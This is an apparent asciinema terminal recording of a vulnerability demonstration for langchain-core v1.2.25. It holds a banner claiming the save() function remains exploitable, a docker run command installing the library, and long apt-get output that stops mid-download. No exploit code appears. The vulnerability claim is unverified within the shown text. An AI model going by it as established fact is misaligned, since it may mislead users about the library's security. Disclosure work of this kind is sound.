{"version": 2, "width": 210, "height": 54, "timestamp": 1775343380, "env": {"SHELL": "/bin/bash", "TERM": "xterm"}}
[0.053804, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[3.741847, "o", "\u001b[7mecho \"====================================================================================\"\u001b[27m\r\n\r\u001b[7mecho \"           LangChain-core v1.2.25 Vulnerability Demonstration\"\u001b[27m\r\n\r\u001b[7mecho \"====================================================================================\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# This demonstration shows that langchain-core v1.2.25\"\u001b[27m\r\n\r\u001b[7mecho \"# still has critical write-side vulnerabilities.\"\u001b[27m\r\n\r\u001b[7mecho \"# The read vulnerability was partially fixed, but save() remains exploitable.\"\u001b[27m\r\n\r\u001b[7mecho \"# Let's start by setting up a fresh Docker container...\"\u001b[27m\r\n\r\u001b[7msleep 3\u001b[27m\r\n\r"]
[7.926139, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[Cecho \"====================================================================================\"\r\n\recho \"           LangChain-core v1.2.25 Vulnerability Demonstration\"\r\n\recho \"====================================================================================\"\r\n\recho \"\"\r\n\recho \"# This demonstration shows that langchain-core v1.2.25\"\r\n\recho \"# still has critical write-side vulnerabilities.\"\r\n\recho \"# The read vulnerability was partially fixed, but save() remains exploitable.\"\r\n\recho \"# Let's start by setting up a fresh Docker container...\"\r\n\rsleep 3\r\n\r\u001b[A\r\n\u001b[?2004l\r====================================================================================\r\n           LangChain-core v1.2.25 Vulnerability Demonstration\r\n====================================================================================\r\n\r\n# This demonstration shows that langchain-core v1.2.25\r\n# still has critical write-side vulnerabilities.\r\n# The read vulnerability was partially fixed, but save() remains exploitable.\r\n# Let's start by setting up a fresh Docker container...\r\n"]
[10.943001, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[15.045694, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[15.183718, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[15.33041, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[15.746082, "o", "\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# Starting fresh Docker container with langchain-core v1.2.25...\"\u001b[27m\r\n\r\u001b[7mdocker run -it --rm ubuntu:latest bash -c 'apt update && apt install -y python3 python3-pip && pip3 install langchain-core==1.2.25 --break-system-packages && bash'\u001b[27m\r\n\r"]
[16.163852, "o", "\u001b[A\u001b[A\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[Cecho \"\"\r\n\recho \"# Starting fresh Docker container with langchain-core v1.2.25...\"\r\n\rdocker run -it --rm ubuntu:latest bash -c 'apt update && apt install -y python3 python3-pip && pip3 install langchain-core==1.2.25 --break-system-packages && bash'\r\n\r\u001b[A\r\n\u001b[?2004l\r\r\n# Starting fresh Docker container with langchain-core v1.2.25...\r\n"]
[17.079955, "o", "\u001b[33m\r0% [Working]\u001b[0m"]
[17.578304, "o", "\u001b[33m\r0% [Waiting for headers] [Waiting for headers]\u001b[0m"]
[17.667382, "o", "\r                                              \rGet:1 http://archive.ubuntu.com/ubuntu noble InRelease [256 kB]\r\n\u001b[33m\r0% [1 InRelease 1140 B/256 kB 0%] [Waiting for headers]\u001b[0m"]
[17.682017, "o", "\r                                                       \rGet:2 http://security.ubuntu.com/ubuntu noble-security InRelease [126 kB]\r\n\u001b[33m\r0% [1 InRelease 14.2 kB/256 kB 6%] [2 InRelease 0 B/126 kB 0%]\u001b[0m"]
[18.171907, "o", "\u001b[33m\r                                                              \r0% [1 InRelease 256 kB/256 kB 100%]\u001b[0m\u001b[33m\r                                   \r0% [Waiting for headers]\u001b[0m"]
[18.299826, "o", "\r                        \rGet:3 http://archive.ubuntu.com/ubuntu noble-updates InRelease [126 kB]\r\n\u001b[33m\r0% [3 InRelease 35.9 kB/126 kB 28%]\u001b[0m"]
[18.322719, "o", "\u001b[33m\r                                   \r0% [Working]\u001b[0m"]
[18.367623, "o", "\u001b[33m\r0% [Waiting for headers]\u001b[0m"]
[18.441914, "o", "\r                        \r"]
[18.444269, "o", "Get:4 http://archive.ubuntu.com/ubuntu noble-backports InRelease [126 kB]\r\n\u001b[33m\r0% [4 InRelease 5484 B/126 kB 4%] [Waiting for headers]\u001b[0m"]
[18.478936, "o", "\u001b[33m\r                                                       \r0% [Waiting for headers]\u001b[0m"]
[18.501503, "o", "\r                        \rGet:5 http://security.ubuntu.com/ubuntu noble-security/multiverse amd64 Packages [34.8 kB]\r\n\u001b[33m\r0% [5 Packages 9899 B/34.8 kB 28%]\u001b[0m"]
[18.532101, "o", "\u001b[33m\r0% [5 Packages 34.8 kB/34.8 kB 100%]\u001b[0m"]
[18.559145, "o", "\u001b[33m\r                                    \r0% [Working]\u001b[0m"]
[18.565496, "o", "\u001b[33m\r0% [5 Packages store 0 B] [Waiting for headers] [Waiting for headers]\u001b[0m"]
[18.570419, "o", "\u001b[33m\r                                                                     \r0% [Waiting for headers] [Waiting for headers]\u001b[0m"]
[18.647265, "o", "\r                                              \rGet:6 http://archive.ubuntu.com/ubuntu noble/multiverse amd64 Packages [331 kB]\r\n\u001b[33m\r0% [6 Packages 0 B/331 kB 0%] [Waiting for headers]\u001b[0m"]
[18.689383, "o", "\u001b[33m\r0% [6 Packages 155 kB/331 kB 47%] [Waiting for headers]\u001b[0m"]
[18.699489, "o", "\r                                                       \rGet:7 http://security.ubuntu.com/ubuntu noble-security/universe amd64 Packages [1504 kB]\r\n\u001b[33m\r0% [6 Packages 166 kB/331 kB 50%] [7 Packages 5551 B/1504 kB 0%]\u001b[0m"]
[18.75349, "o", "\u001b[33m\r                                                                \r0% [7 Packages 67.8 kB/1504 kB 5%]\u001b[0m"]
[18.765295, "o", "\u001b[33m\r0% [6 Packages store 0 B] [Waiting for headers] [7 Packages 86.6 kB/1504 kB 6%]\u001b[0m"]
[18.81901, "o", "\u001b[33m\r                                                                               \r0% [Waiting for headers] [7 Packages 160 kB/1504 kB 11%]\u001b[0m"]
[18.867771, "o", "\r                                                        \r"]
[18.87, "o", "Get:8 http://archive.ubuntu.com/ubuntu noble/main amd64 Packages [1808 kB]\r\n"]
[18.872362, "o", "\u001b[33m\r0% [8 Packages 9895 B/1808 kB 1%] [7 Packages 226 kB/1504 kB 15%]\u001b[0m"]
[18.930285, "o", "\u001b[33m\r16% [8 Packages 273 kB/1808 kB 15%] [7 Packages 299 kB/1504 kB 20%]\u001b[0m"]
[19.249765, "o", "\r                                                                   \rGet:9 http://archive.ubuntu.com/ubuntu noble/restricted amd64 Packages [117 kB]\r\n\u001b[33m\r                                                                   \r21% [9 Packages 8272 B/117 kB 7%] [7 Packages 1081 kB/1504 kB 72%]\u001b[0m"]
[19.252989, "o", "\u001b[33m\r21% [8 Packages store 0 B] [9 Packages 68.2 kB/117 kB 58%] [7 Packages 1110 kB/1504 kB 74%]"]
[19.255012, "o", "\u001b[0m"]
[19.258354, "o", "\u001b[33m\r                                                                                           \r"]
[19.259353, "o", "22% [8 Packages store 0 B] [7 Packages 1189 kB/1504 kB 79%]"]
[19.259891, "o", "\u001b[0m\r                                                           \rGet:10 http://archive.ubuntu.com/ubuntu noble/universe amd64 Packages [19.3 MB]"]
[19.260362, "o", "\r\n\u001b[33m\r22% [8 Packages store 0 B] [10 Packages 101 kB/19.3 MB 1%] [7 Packages 1189 kB/1504 kB 79%]"]
[19.260797, "o", "\u001b[0m"]
[19.295847, "o", "\u001b[33m\r                                                                                           \r23% [8 Packages store 0 B] [10 Packages 460 kB/19.3 MB 2%] [Waiting for headers]\u001b[0m\r                                                                                \rGet:11 http://security.ubuntu.com/ubuntu noble-security/main amd64 Packages [1985 kB]\r\n\u001b[33m\r23% [8 Packages store 0 B] [10 Packages 460 kB/19.3 MB 2%] [11 Packages 5323 B/1985 kB 0%]\u001b[0m"]
[19.388959, "o", "\u001b[33m\r                                                                                          \r27% [10 Packages 1401 kB/19.3 MB 7%] [11 Packages 354 kB/1985 kB 18%]\u001b[0m"]
[19.389838, "o", "\u001b[33m\r27% [9 Packages store 0 B] [10 Packages 1401 kB/19.3 MB 7%] [11 Packages 354 kB/1985 kB 18%]\u001b[0m"]
[19.4167, "o", "\u001b[33m\r                                                                                            \r28% [10 Packages 1614 kB/19.3 MB 8%] [11 Packages 355 kB/1985 kB 18%]\u001b[0m\u001b[33m\r28% [7 Packages store 0 B] [10 Packages 1643 kB/19.3 MB 9%] [11 Packages 368 kB/1985 kB 19%]\u001b[0m"]
[19.515025, "o", "\u001b[33m\r                                                                                            \r32% [10 Packages 2716 kB/19.3 MB 14%] [11 Packages 982 kB/1985 kB 49%]\u001b[0m"]
[19.71777, "o", "\u001b[33m\r                                                                      \r38% [10 Packages 4867 kB/19.3 MB 25%] [Waiting for headers]\u001b[0m"]
[19.727195, "o", "\u001b[33m\r38% [11 Packages store 0 B] [10 Packages 4867 kB/19.3 MB 25%] [Waiting for headers]\u001b[0m\r                                                                                   \rGet:12 http://security.ubuntu.com/ubuntu noble-security/restricted amd64 Packages [3499 kB]\r\n\u001b[33m\r39% [11 Packages store 0 B] [10 Packages 4867 kB/19.3 MB 25%] [12 Packages 11.4 kB/3499 kB 0%]\u001b[0m"]
[19.872245, "o", "\u001b[33m\r                                                                                              \r"]
[19.874269, "o", "46% [10 Packages 6657 kB/19.3 MB 34%] [12 Packages 1612 kB/3499 kB 46%]"]
[19.875852, "o", "\u001b[0m"]
[20.20578, "o", "\u001b[33m\r                                                                       \r58% [10 Packages 10.4 MB/19.3 MB 54%]\u001b[0m"]
[20.208383, "o", "\u001b[33m\r58% [12 Packages store 0 B] [10 Packages 10.4 MB/19.3 MB 54%]\u001b[0m"]
[20.404048, "o", "\u001b[33m\r                                                             \r68% [10 Packages 14.5 MB/19.3 MB 75%]\u001b[0m"]
[20.663504, "o", "\r                                     \rGet:13 http://archive.ubuntu.com/ubuntu noble-updates/universe amd64 Packages [2152 kB]"]
[20.66659, "o", "\r\n\u001b[33m\r                                     \r"]
[20.669862, "o", "78% [13 Packages 199 kB/2152 kB 9%]\u001b[0m"]
[20.672249, "o", "\u001b[33m\r78% [10 Packages store 0 B] [13 Packages 199 kB/2152 kB 9%]"]
[20.67729, "o", "\u001b[0m"]
[20.829899, "o", "\u001b[33m\r                                                           \r82% [10 Packages store 0 B] [Waiting for headers]\u001b[0m\r                                                 \rGet:14 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 Packages [2369 kB]\r\n\u001b[33m\r83% [10 Packages store 0 B] [14 Packages 71.5 kB/2369 kB 3%]\u001b[0m"]
[20.953362, "o", "\r                                                            \r"]
[20.955449, "o", "Get:15 http://archive.ubuntu.com/ubuntu noble-updates/multiverse amd64 Packages [38.1 kB]"]
[20.96093, "o", "\r\n\u001b[33m\r88% [10 Packages store 0 B] [15 Packages 38.1 kB/38.1 kB 100%]\u001b[0m"]
[20.977321, "o", "\u001b[33m\r                                                              \r"]
[20.979503, "o", "88% [10 Packages store 0 B] [Waiting for headers]\u001b[0m\r                                                 \rGet:16 http://archive.ubuntu.com/ubuntu noble-updates/restricted amd64 Packages [3669 kB]\r\n"]
[20.980737, "o", "\u001b[33m\r88% [10 Packages store 0 B] [16 Packages 262 kB/3669 kB 7%]"]
[20.982403, "o", "\u001b[0m"]
[21.089666, "o", "\r                                                           \r"]
[21.091009, "o", "Get:17 http://archive.ubuntu.com/ubuntu noble-backports/main amd64 Packages [49.5 kB]"]
[21.092006, "o", "\r\n"]
[21.095952, "o", "\u001b[33m\r95% [10 Packages store 0 B] [17 Packages 49.5 kB/49.5 kB 100%]"]
[21.09714, "o", "\u001b[0m"]
[21.103623, "o", "\r                                                              \rGet:18 http://archive.ubuntu.com/ubuntu noble-backports/multiverse amd64 Packages [695 B]\r\n\r                                                              \rGet:19 http://archive.ubuntu.com/ubuntu noble-backports/universe amd64 Packages [36.1 kB]\r\n"]
[21.106262, "o", "\u001b[33m\r                                                              \r96% [10 Packages store 0 B]\u001b[0m"]
[21.571334, "o", "\u001b[33m\r                           \r96% [Working]\u001b[0m"]
[21.57301, "o", "\u001b[33m\r96% [13 Packages store 0 B]\u001b[0m"]
[21.671951, "o", "\u001b[33m\r                           \r"]
[21.673665, "o", "97% [Working]\u001b[0m\u001b[33m\r97% [14 Packages store 0 B]\u001b[0m"]
[21.791899, "o", "\u001b[33m\r                           \r97% [Working]\u001b[0m"]
[21.795494, "o", "\u001b[33m\r97% [15 Packages store 0 B]\u001b[0m"]
[21.79916, "o", "\u001b[33m\r                           \r"]
[21.800304, "o", "98% [Working]\u001b[0m\u001b[33m\r98% [16 Packages store 0 B]\u001b[0m"]
[21.956852, "o", "\u001b[33m\r                           \r"]
[21.958008, "o", "98% [Working]\u001b[0m\u001b[33m\r98% [17 Packages store 0 B]\u001b[0m"]
[21.96185, "o", "\u001b[33m\r                           \r99% [Working]\u001b[0m"]
[21.96324, "o", "\u001b[33m\r99% [18 Packages store 0 B]\u001b[0m\u001b[33m\r                           \r99% [Working]\u001b[0m"]
[21.966026, "o", "\u001b[33m\r99% [19 Packages store 0 B]\u001b[0m"]
[21.968087, "o", "\u001b[33m\r                           \r100% [Working]\u001b[0m\r              \rFetched 37.5 MB in 5s (7620 kB/s)\r\n"]
[22.004626, "o", "\rReading package lists... 0%\r"]
[22.106091, "o", "\rReading package lists... 0%\r"]
[22.118329, "o", "\rReading package lists... 0%\r"]
[22.230501, "o", "\rReading package lists... 4%\r"]
[22.23384, "o", "\rReading package lists... 4%\r"]
[22.831983, "o", "\rReading package lists... 43%\r"]
[23.016766, "o", "\rReading package lists... 52%\r\rReading package lists... 52%\r"]
[23.018849, "o", "\rReading package lists... 52%\r"]
[23.020185, "o", "\rReading package lists... 52%\r"]
[23.041695, "o", "\rReading package lists... 53%\r"]
[23.050283, "o", "\rReading package lists... 53%\r"]
[23.161911, "o", "\rReading package lists... 60%\r"]
[23.165445, "o", "\rReading package lists... 60%\r"]
[23.258755, "o", "\rReading package lists... 66%\r\rReading package lists... 66%\r"]
[23.392188, "o", "\rReading package lists... 78%\r"]
[23.394311, "o", "\rReading package lists... 78%\r"]
[23.398743, "o", "\rReading package lists... 78%\r"]
[23.401412, "o", "\rReading package lists... 78%\r"]
[23.405072, "o", "\rReading package lists... 78%\r"]
[23.407396, "o", "\rReading package lists... 78%\r"]
[23.410071, "o", "\rReading package lists... 78%\r"]
[23.41255, "o", "\rReading package lists... 78%\r"]
[23.421547, "o", "\rReading package lists... 78%\r"]
[23.421668, "o", "\rReading package lists... 78%\r"]
[23.464999, "o", "\rReading package lists... 84%\r"]
[23.466207, "o", "\rReading package lists... 84%\r"]
[23.504707, "o", "\rReading package lists... 89%\r\rReading package lists... 89%\r"]
[23.529574, "o", "\rReading package lists... 92%\r"]
[23.563869, "o", "\rReading package lists... 99%\r\rReading package lists... 99%\r"]
[23.564798, "o", "\rReading package lists... 99%\r\rReading package lists... 99%\r"]
[23.578239, "o", "\rReading package lists... Done\r\r\n"]
[23.613122, "o", "\rBuilding dependency tree... 0%\r"]
[23.61677, "o", "\rBuilding dependency tree... 0%\r\rBuilding dependency tree... 0%\r"]
[23.677444, "o", "\rBuilding dependency tree... 50%\r\rBuilding dependency tree... 50%\r"]
[23.927653, "o", "\rBuilding dependency tree... Done\r"]
[23.928706, "o", "\r\n\rReading state information... 0% \r\rReading state information... 98%\r\rReading state information... Done\r\r\n"]
[23.965713, "o", "10 packages can be upgraded. Run 'apt list --upgradable' to see them."]
[23.968647, "o", "\r\n"]
[24.01672, "o", "\rReading package lists... 0%\r"]
[24.109013, "o", "\rReading package lists... 0%\r"]
[24.123838, "o", "\rReading package lists... 0%\r"]
[24.213339, "o", "\rReading package lists... 4%\r"]
[24.216305, "o", "\rReading package lists... 4%\r"]
[24.826985, "o", "\rReading package lists... 42%\r"]
[24.995748, "o", "\rReading package lists... 52%\r"]
[24.997723, "o", "\rReading package lists... 52%\r"]
[25.012646, "o", "\rReading package lists... 52%\r"]
[25.015724, "o", "\rReading package lists... 52%\r"]
[25.039472, "o", "\rReading package lists... 53%\r\rReading package lists... 53%\r"]
[25.142439, "o", "\rReading package lists... 60%\r\rReading package lists... 60%\r"]
[25.250511, "o", "\rReading package lists... 66%\r"]
[25.253593, "o", "\rReading package lists... 66%\r"]
[25.39392, "o", "\rReading package lists... 78%\r\rReading package lists... 78%\r"]
[25.398171, "o", "\rReading package lists... 78%\r\rReading package lists... 78%\r"]
[25.403729, "o", "\rReading package lists... 78%\r\rReading package lists... 78%\r"]
[25.406937, "o", "\rReading package lists... 78%\r\rReading package lists... 78%\r"]
[25.413708, "o", "\rReading package lists... 78%\r\rReading package lists... 78%\r"]
[25.448949, "o", "\rReading package lists... 84%\r"]
[25.451105, "o", "\rReading package lists... 84%\r"]
[25.484044, "o", "\rReading package lists... 89%\r"]
[25.48576, "o", "\rReading package lists... 89%\r"]
[25.52986, "o", "\rReading package lists... 97%\r"]
[25.544311, "o", "\rReading package lists... 99%\r\rReading package lists... 99%\r\rReading package lists... 99%\r\rReading package lists... 99%\r"]
[25.562696, "o", "\rReading package lists... Done\r\r\n"]
[25.596087, "o", "\rBuilding dependency tree... 0%\r\rBuilding dependency tree... 0%\r"]
[25.653028, "o", "\rBuilding dependency tree... 50%\r"]
[25.655593, "o", "\rBuilding dependency tree... 50%\r"]
[25.90774, "o", "\rBuilding dependency tree... Done\r"]
[25.9098, "o", "\r\n\rReading state information... 0% \r\rReading state information... 98%\r\rReading state information... Done\r\r\n"]
[26.302844, "o", "The following additional packages will be installed:"]
[26.304977, "o", "\r\n"]
[26.403445, "o", "  adduser binutils binutils-common binutils-x86-64-linux-gnu build-essential bzip2 ca-certificates cpp cpp-13 cpp-13-x86-64-linux-gnu cpp-x86-64-linux-gnu dirmngr dpkg-dev fakeroot fontconfig-config\r\n  fonts-dejavu-core fonts-dejavu-mono g++ g++-13 g++-13-x86-64-linux-gnu g++-x86-64-linux-gnu gcc gcc-13 gcc-13-base gcc-13-x86-64-linux-gnu gcc-x86-64-linux-gnu gnupg gnupg-l10n gnupg-utils gpg gpg-agent\r\n  gpg-wks-client gpgconf gpgsm javascript-common keyboxd libalgorithm-diff-perl libalgorithm-diff-xs-perl libalgorithm-merge-perl libaom3 libasan8 libatomic1 libbinutils libbrotli1 libbsd0 libc-dev-bin\r\n  libc-devtools libc6-dev libcc1-0 libcrypt-dev libctf-nobfd0 libctf0 libde265-0 libdeflate0 libdpkg-perl libexpat1 libexpat1-dev libfakeroot libfile-fcntllock-perl libfontconfig1 libfreetype6 libgcc-13-dev\r\n  libgd3 libgdbm-compat4t64 libgdbm6t64 libgomp1 libgprofng0 libheif-plugin-aomdec libheif-plugin-aomenc libheif-plugin-libde265 libheif1 libhwasan0 libisl23 libitm1 libjansson4 libjbig0 libjpeg-turbo8\r\n  libjpeg8 libjs-jquery libjs-sphinxdoc libjs-underscore libksba8 libldap-common libldap2 liblerc4 liblocale-gettext-perl liblsan0 libmpc3 libmpfr6 libperl5.38t64 libpng16-16t64 libpython3-dev\r\n  libpython3-stdlib libpython3.12-dev libpython3.12-minimal libpython3.12-stdlib libpython3.12t64 libquadmath0 libreadline8t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libsframe1 libsharpyuv0\r\n  libsqlite3-0 libstdc++-13-dev libtiff6 libtsan2 libubsan1 libwebp7 libx11-6 libx11-data libxau6 libxcb1 libxdmcp6 libxpm4 linux-libc-dev lto-disabled-list make manpages manpages-dev media-types netbase\r\n  openssl patch perl perl-modules-5.38 pinentry-curses python3-dev python3-minimal python3-pkg-resources python3-setuptools python3-wheel python3.12 python3.12-dev python3.12-minimal readline-common\r\n  rpcsvc-proto tzdata xz-utils zlib1g-dev\r\nSuggested packages:\r\n  cron quota ecryptfs-utils binutils-doc gprofng-gui bzip2-doc cpp-doc gcc-13-locales cpp-13-doc dbus-user-session libpam-systemd pinentry-gnome3 tor debian-keyring "]
[26.40354, "o", "g++-multilib g++-13-multilib gcc-13-doc\r\n  gcc-multilib autoconf automake libtool flex bison gdb gcc-doc gcc-13-multilib gdb-x86-64-linux-gnu parcimonie xloadimage gpg-wks-server scdaemon apache2 | lighttpd | httpd glibc-doc git bzr libgd-tools\r\n  gdbm-l10n libheif-plugin-x265 libheif-plugin-ffmpegdec libheif-plugin-jpegdec libheif-plugin-jpegenc libheif-plugin-j2kdec libheif-plugin-j2kenc libheif-plugin-rav1e libheif-plugin-svtenc\r\n  libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libsasl2-modules-ldap libsasl2-modules-otp libsasl2-modules-sql libstdc++-13-doc make-doc man-browser ed diffutils-doc perl-doc\r\n  libterm-readline-gnu-perl | libterm-readline-perl-perl libtap-harness-archive-perl pinentry-doc python3-doc python3-tk python3-venv python-setuptools-doc python3.12-venv python3.12-doc binfmt-support\r\n  readline-doc\r\n"]
[26.724863, "o", "The following NEW packages will be installed:\r\n  adduser binutils binutils-common binutils-x86-64-linux-gnu build-essential bzip2 ca-certificates cpp cpp-13 cpp-13-x86-64-linux-gnu cpp-x86-64-linux-gnu dirmngr dpkg-dev fakeroot fontconfig-config\r\n  fonts-dejavu-core fonts-dejavu-mono g++ g++-13 g++-13-x86-64-linux-gnu g++-x86-64-linux-gnu gcc gcc-13 gcc-13-base gcc-13-x86-64-linux-gnu gcc-x86-64-linux-gnu gnupg gnupg-l10n gnupg-utils gpg gpg-agent\r\n"]
[26.727468, "o", "  gpg-wks-client gpgconf gpgsm javascript-common keyboxd libalgorithm-diff-perl libalgorithm-diff-xs-perl libalgorithm-merge-perl libaom3 libasan8 libatomic1 libbinutils libbrotli1 libbsd0 libc-dev-bin\r\n  libc-devtools libc6-dev libcc1-0 libcrypt-dev libctf-nobfd0 libctf0 libde265-0 libdeflate0 libdpkg-perl libexpat1 libexpat1-dev libfakeroot libfile-fcntllock-perl libfontconfig1 libfreetype6 libgcc-13-dev\r\n  libgd3 libgdbm-compat4t64 libgdbm6t64 libgomp1 libgprofng0 libheif-plugin-aomdec libheif-plugin-aomenc libheif-plugin-libde265 libheif1 libhwasan0 libisl23 libitm1 libjansson4 libjbig0 libjpeg-turbo8\r\n  libjpeg8 libjs-jquery libjs-sphinxdoc libjs-underscore libksba8 libldap-common libldap2 liblerc4 liblocale-gettext-perl liblsan0 libmpc3 libmpfr6 libperl5.38t64 libpng16-16t64 libpython3-dev\r\n"]
[26.729959, "o", "  libpython3-stdlib libpython3.12-dev libpython3.12-minimal libpython3.12-stdlib libpython3.12t64 libquadmath0 libreadline8t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libsframe1 libsharpyuv0\r\n"]
[26.730077, "o", "  libsqlite3-0 libstdc++-13-dev libtiff6 libtsan2 libubsan1 libwebp7 libx11-6 libx11-data libxau6 libxcb1 libxdmcp6 libxpm4 linux-libc-dev lto-disabled-list make manpages manpages-dev media-types netbase\r\n  openssl patch perl perl-modules-5.38 pinentry-curses python3 python3-dev python3-minimal python3-pip python3-pkg-resources python3-setuptools python3-wheel python3.12 python3.12-dev python3.12-minimal\r\n  readline-common rpcsvc-proto tzdata xz-utils zlib1g-dev\r\n"]
[26.751882, "o", "0 upgraded, 143 newly installed, 0 to remove and 10 not upgraded.\r\n"]
[26.759248, "o", "Need to get 114 MB of archives.\r\nAfter this operation, 419 MB of additional disk space will be used.\r\n"]
[26.78821, "o", "\u001b[33m\r0% [Working]\u001b[0m"]
[26.89191, "o", "\r            \rGet:1 http://archive.ubuntu.com/ubuntu noble/main amd64 liblocale-gettext-perl amd64 1.07-6ubuntu5 [15.8 kB]\r\n\u001b[33m\r0% [1 liblocale-gettext-perl 1158 B/15.8 kB 7%]\u001b[0m"]
[26.928088, "o", "\u001b[33m\r                                               \r0% [Working]\u001b[0m"]
[26.972507, "o", "\r            \rGet:2 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3.12-minimal amd64 3.12.3-1ubuntu0.12 [837 kB]\r\n\u001b[33m\r0% [2 libpython3.12-minimal 2604 B/837 kB 0%]\u001b[0m"]
[27.221557, "o", "\u001b[33m\r                                             \r1% [Working]\u001b[0m\r            \rGet:3 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libexpat1 amd64 2.6.1-2ubuntu0.4 [88.2 kB]\r\n\u001b[33m\r1% [3 libexpat1 23.6 kB/88.2 kB 27%]\u001b[0m"]
[27.228345, "o", "\r                                    \rGet:4 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3.12-minimal amd64 3.12.3-1ubuntu0.12 [2334 kB]\r\n\u001b[33m\r1% [4 python3.12-minimal 652 B/2334 kB 0%]\u001b[0m"]
[27.343442, "o", "\u001b[33m\r                                          \r3% [Working]\u001b[0m"]
[27.360404, "o", "\r            \rGet:5 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3-minimal amd64 3.12.3-0ubuntu2.1 [27.4 kB]\r\n"]
[27.371513, "o", "\u001b[33m\r3% [5 python3-minimal 0 B/27.4 kB 0%]\u001b[0m\u001b[33m\r                                     \r3% [Working]\u001b[0m\r            \rGet:6 http://archive.ubuntu.com/ubuntu noble/main amd64 media-types all 10.1.0 [27.5 kB]\r\n\u001b[33m\r3% [6 media-types 27.5 kB/27.5 kB 100%]\u001b[0m\u001b[33m\r                                       \r3% [Working]\u001b[0m\r            \rGet:7 http://archive.ubuntu.com/ubuntu noble/main amd64 netbase all 6.4 [13.1 kB]\r\n\u001b[33m\r3% [7 netbase 13.1 kB/13.1 kB 100%]\u001b[0m\u001b[33m\r                                   \r3% [Working]\u001b[0m\r            \rGet:8 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 tzdata all 2026a-0ubuntu0.24.04.1 [280 kB]\r\n\u001b[33m\r3% [8 tzdata 0 B/280 kB 0%]\u001b[0m"]
[27.372777, "o", "\u001b[33m\r                           \r4% [Working]\u001b[0m\r            \rGet:9 http://archive.ubuntu.com/ubuntu noble/main amd64 readline-common all 8.2-4build1 [56.5 kB]\r\n\u001b[33m\r4% [9 readline-common 0 B/56.5 kB 0%]\u001b[0m"]
[27.377344, "o", "\u001b[33m\r                                     \r4% [Working]\u001b[0m\r            \rGet:10 http://archive.ubuntu.com/ubuntu noble/main amd64 libreadline8t64 amd64 8.2-4build1 [153 kB]\r\n\u001b[33m\r4% [10 libreadline8t64 115 kB/153 kB 75%]\u001b[0m"]
[27.382068, "o", "\u001b[33m\r                                         \r4% [Working]\u001b[0m\r            \rGet:11 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsqlite3-0 amd64 3.45.1-1ubuntu2.5 [701 kB]\r\n\u001b[33m\r4% [11 libsqlite3-0 20.6 kB/701 kB 3%]\u001b[0m"]
[27.437495, "o", "\u001b[33m\r                                      \r5% [Working]\u001b[0m"]
[27.44022, "o", "\r            \r"]
[27.441718, "o", "Get:12 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3.12-stdlib amd64 3.12.3-1ubuntu0.12 [2069 kB]\r\n"]
[27.444615, "o", "\u001b[33m\r5% [12 libpython3.12-stdlib 117 kB/2069 kB 6%]"]
[27.445985, "o", "\u001b[0m"]
[27.468276, "o", "\u001b[33m\r                                              \r"]
[27.47081, "o", "6% [Working]\u001b[0m"]
[27.471488, "o", "\r            \r"]
[27.473973, "o", "Get:13 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3.12 amd64 3.12.3-1ubuntu0.12 [651 kB]\r\n\u001b[33m\r6% [13 python3.12 0 B/651 kB 0%]\u001b[0m"]
[27.486571, "o", "\u001b[33m\r                                \r7% [Working]\u001b[0m"]
[27.486652, "o", "\r            \rGet:14 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3-stdlib amd64 3.12.3-0ubuntu2.1 [10.1 kB]\r\n\u001b[33m\r7% [14 libpython3-stdlib 0 B/10.1 kB 0%]\u001b[0m"]
[27.487074, "o", "\u001b[33m\r                                        \r7% [Working]\u001b[0m"]
[27.496352, "o", "\r            \rGet:15 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3 amd64 3.12.3-0ubuntu2.1 [23.0 kB]\r\n\u001b[33m\r7% [15 python3 0 B/23.0 kB 0%]\u001b[0m"]
[27.502964, "o", "\u001b[33m\r                              \r7% [Working]\u001b[0m"]
[27.503079, "o", "\r            \rGet:16 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 perl-modules-5.38 all 5.38.2-3.2ubuntu0.2 [3110 kB]\r\n\u001b[33m\r7% [16 perl-modules-5.38 0 B/3110 kB 0%]\u001b[0m"]
